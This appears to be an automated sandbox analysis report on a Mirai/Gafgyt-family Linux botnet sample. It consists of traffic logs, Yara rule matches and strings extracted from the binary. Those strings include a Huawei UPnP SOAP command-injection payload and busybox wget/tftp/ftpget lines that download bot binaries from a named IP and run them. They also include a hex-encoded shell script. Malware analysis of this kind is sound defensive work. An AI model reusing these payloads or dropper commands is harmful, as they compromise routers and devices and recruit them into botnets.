Source: global traffic TCP traffic: 192.168.2.13:44589 -> 159.28.192.70:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 208.226.118.34:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 23.168.29.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 47.78.125.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 106.51.237.64:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 97.254.24.121:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 184.85.4.84:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 34.167.4.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 60.23.205.46:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 175.77.185.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 35.187.105.12:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 205.1.178.46:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 91.173.81.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 64.122.158.99:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 1.215.21.30:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 78.64.176.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 201.203.104.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 41.119.22.63:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 44.164.211.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 134.234.154.63:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 87.76.94.64:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 201.49.134.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 96.46.52.122:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 132.136.32.17:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 191.231.228.106:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 136.185.141.65:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 184.31.23.19:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 184.99.163.30:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 155.242.169.115:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 1.161.40.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 198.215.228.115:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 112.130.231.84:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 119.214.140.46:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 120.243.196.101:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 94.70.14.26:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 133.144.227.32:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 212.102.204.10:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 193.156.13.119:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 61.2.68.26:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 117.10.83.7:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 42.75.82.82:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 102.98.31.1:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.242.50.127:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.55.175.124:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.166.87.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 203.47.30.123:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 181.87.148.24:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 170.68.147.122:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 189.84.54.2:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 77.148.190.26:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 197.135.131.0:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.31.132.70:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 41.225.164.60:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 5.192.12.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 35.44.240.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 53.52.105.76:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 34.6.19.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 162.173.18.28:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 146.169.100.109:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 112.99.72.79:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 17.1.128.41:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 190.2.164.87:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 51.155.210.123:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 196.53.24.49:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 139.201.59.106:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 211.183.173.67:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 108.8.146.32:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.28.203.71:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 61.204.94.103:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 213.162.233.86:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.66.241.97:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 18.169.250.84:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 123.255.236.23:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 185.122.53.126:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 141.107.96.124:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 97.177.66.122:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 136.65.163.36:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 133.36.130.38:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.92.127.85:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 152.0.9.54:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 113.231.174.51:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 104.163.16.6:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 62.208.231.63:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 162.179.195.3:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 19.10.78.100:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 140.241.93.48:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 1.99.30.104:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 204.48.185.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 171.111.92.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 75.105.200.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 51.230.75.89:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 101.43.91.76:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 184.73.172.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.61.29.62:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 19.70.130.127:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 77.41.26.54:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 119.128.137.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 74.120.80.89:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 129.81.157.93:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 5.10.59.27:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 82.240.53.103:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 196.243.172.67:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 139.194.18.69:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 94.39.214.37:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 171.118.133.125:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 70.76.136.119:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 149.241.148.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 152.226.127.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 77.175.61.93:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 166.255.222.72:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 146.212.136.61:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 108.212.245.83:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 100.243.250.13:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 184.239.139.85:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 52.27.236.92:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 58.178.200.113:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.168.142.105:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 134.1.226.23:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 213.131.196.84:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 36.162.69.117:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 181.78.117.85:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 122.58.215.52:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 128.181.72.83:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 41.155.141.108:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 212.62.179.107:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 180.183.91.35:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 165.133.192.52:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 47.133.63.69:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 1.247.72.64:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 61.155.59.29:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 186.250.76.4:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 157.30.146.47:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 201.105.245.83:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 120.62.245.50:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 68.90.123.55:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 160.244.17.21:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 194.71.136.91:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 206.41.23.103:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 126.116.190.116:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 43.75.137.43:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 69.96.165.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 39.119.46.12:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 152.219.85.0:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 182.124.214.109:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 31.93.28.112:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 153.194.157.17:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 40.44.143.77:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 207.94.242.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 154.42.181.111:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 212.113.62.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 89.5.204.87:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 101.16.255.74:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 175.160.41.76:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 106.154.31.10:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 206.78.12.45:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 205.237.89.110:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 70.254.43.82:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 71.100.66.88:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 13.122.173.63:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 181.98.189.96:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 38.55.144.80:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 207.32.96.39:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 179.163.22.33:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 149.210.196.18:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 93.243.85.81:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 83.255.207.33:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 197.123.54.40:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 199.148.24.70:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 25.109.64.95:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 189.250.247.79:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 134.209.35.126:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 63.206.179.69:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 195.161.0.14:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 132.94.57.8:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 202.86.155.125:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 98.84.179.42:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 213.108.5.123:5500
Source: global traffic TCP traffic: 192.168.2.13:44589 -> 173.0.157.67:5500
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: rocks.check-host.co replaycode: Name error (3)
Source: unknown TCP traffic detected without corresponding DNS query: 195.92.55.96
Source: unknown TCP traffic detected without corresponding DNS query: 37.228.53.77
Source: unknown TCP traffic detected without corresponding DNS query: 74.136.5.20
Source: unknown TCP traffic detected without corresponding DNS query: 139.176.109.60
Source: unknown TCP traffic detected without corresponding DNS query: 64.212.197.55
Source: unknown TCP traffic detected without corresponding DNS query: 87.160.50.88
Source: unknown TCP traffic detected without corresponding DNS query: 217.17.107.86
Source: unknown TCP traffic detected without corresponding DNS query: 197.184.180.22
Source: unknown TCP traffic detected without corresponding DNS query: 93.31.38.107
Source: unknown TCP traffic detected without corresponding DNS query: 113.189.76.56
Source: unknown TCP traffic detected without corresponding DNS query: 109.40.115.67
Source: unknown TCP traffic detected without corresponding DNS query: 178.78.225.95
Source: unknown TCP traffic detected without corresponding DNS query: 91.96.254.77
Source: unknown TCP traffic detected without corresponding DNS query: 35.89.47.34
Source: unknown TCP traffic detected without corresponding DNS query: 209.175.115.115
Source: unknown TCP traffic detected without corresponding DNS query: 178.100.250.44
Source: unknown TCP traffic detected without corresponding DNS query: 80.220.222.60
Source: unknown TCP traffic detected without corresponding DNS query: 36.184.30.99
Source: unknown TCP traffic detected without corresponding DNS query: 151.183.50.86
Source: unknown TCP traffic detected without corresponding DNS query: 132.32.182.78
Source: unknown TCP traffic detected without corresponding DNS query: 109.106.42.10
Source: unknown TCP traffic detected without corresponding DNS query: 89.66.193.72
Source: unknown TCP traffic detected without corresponding DNS query: 192.241.214.103
Source: unknown TCP traffic detected without corresponding DNS query: 154.34.130.98
Source: unknown TCP traffic detected without corresponding DNS query: 203.211.45.82
Source: unknown TCP traffic detected without corresponding DNS query: 167.125.48.120
Source: unknown TCP traffic detected without corresponding DNS query: 9.90.95.110
Source: unknown TCP traffic detected without corresponding DNS query: 27.42.207.103
Source: unknown TCP traffic detected without corresponding DNS query: 176.166.138.120
Source: unknown TCP traffic detected without corresponding DNS query: 42.116.148.18
Source: unknown TCP traffic detected without corresponding DNS query: 35.121.129.7
Source: unknown TCP traffic detected without corresponding DNS query: 200.171.163.65
Source: unknown TCP traffic detected without corresponding DNS query: 166.116.128.39
Source: unknown TCP traffic detected without corresponding DNS query: 97.251.215.89
Source: unknown TCP traffic detected without corresponding DNS query: 148.175.151.97
Source: unknown TCP traffic detected without corresponding DNS query: 162.87.243.29
Source: unknown TCP traffic detected without corresponding DNS query: 52.22.251.86
Source: unknown TCP traffic detected without corresponding DNS query: 107.52.52.11
Source: unknown TCP traffic detected without corresponding DNS query: 8.79.178.31
Source: unknown TCP traffic detected without corresponding DNS query: 133.95.148.79
Source: unknown TCP traffic detected without corresponding DNS query: 165.9.202.10
Source: unknown TCP traffic detected without corresponding DNS query: 208.22.151.38
Source: unknown TCP traffic detected without corresponding DNS query: 118.174.49.74
Source: unknown TCP traffic detected without corresponding DNS query: 17.190.89.92
Source: unknown TCP traffic detected without corresponding DNS query: 72.126.223.65
Source: unknown TCP traffic detected without corresponding DNS query: 67.254.116.45
Source: unknown TCP traffic detected without corresponding DNS query: 200.170.230.62
Source: unknown TCP traffic detected without corresponding DNS query: 121.99.175.125
Source: unknown TCP traffic detected without corresponding DNS query: 150.198.23.112
Source: unknown TCP traffic detected without corresponding DNS query: 201.105.64.125
Source: global traffic DNS traffic detected: DNS query: rocks.check-host.co
Source: bin.i586.elf String found in binary or memory: http:///curl.sh
Source: bin.i586.elf String found in binary or memory: http://178.215.238.13/bin.armv4l;chmod
Source: bin.i586.elf String found in binary or memory: http://178.215.238.13/bin.armv7l;chmod
Source: bin.i586.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bin.i586.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: bin.i586.elf, type: SAMPLE Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5448.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5448.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 5448.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5448.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.215.238.13 -l /tmp/.unstable -r /bin.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxenablelinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >>sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: bin.i586.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: bin.i586.elf, type: SAMPLE Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5427.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5575.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5448.1.0000000008048000.000000000806d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
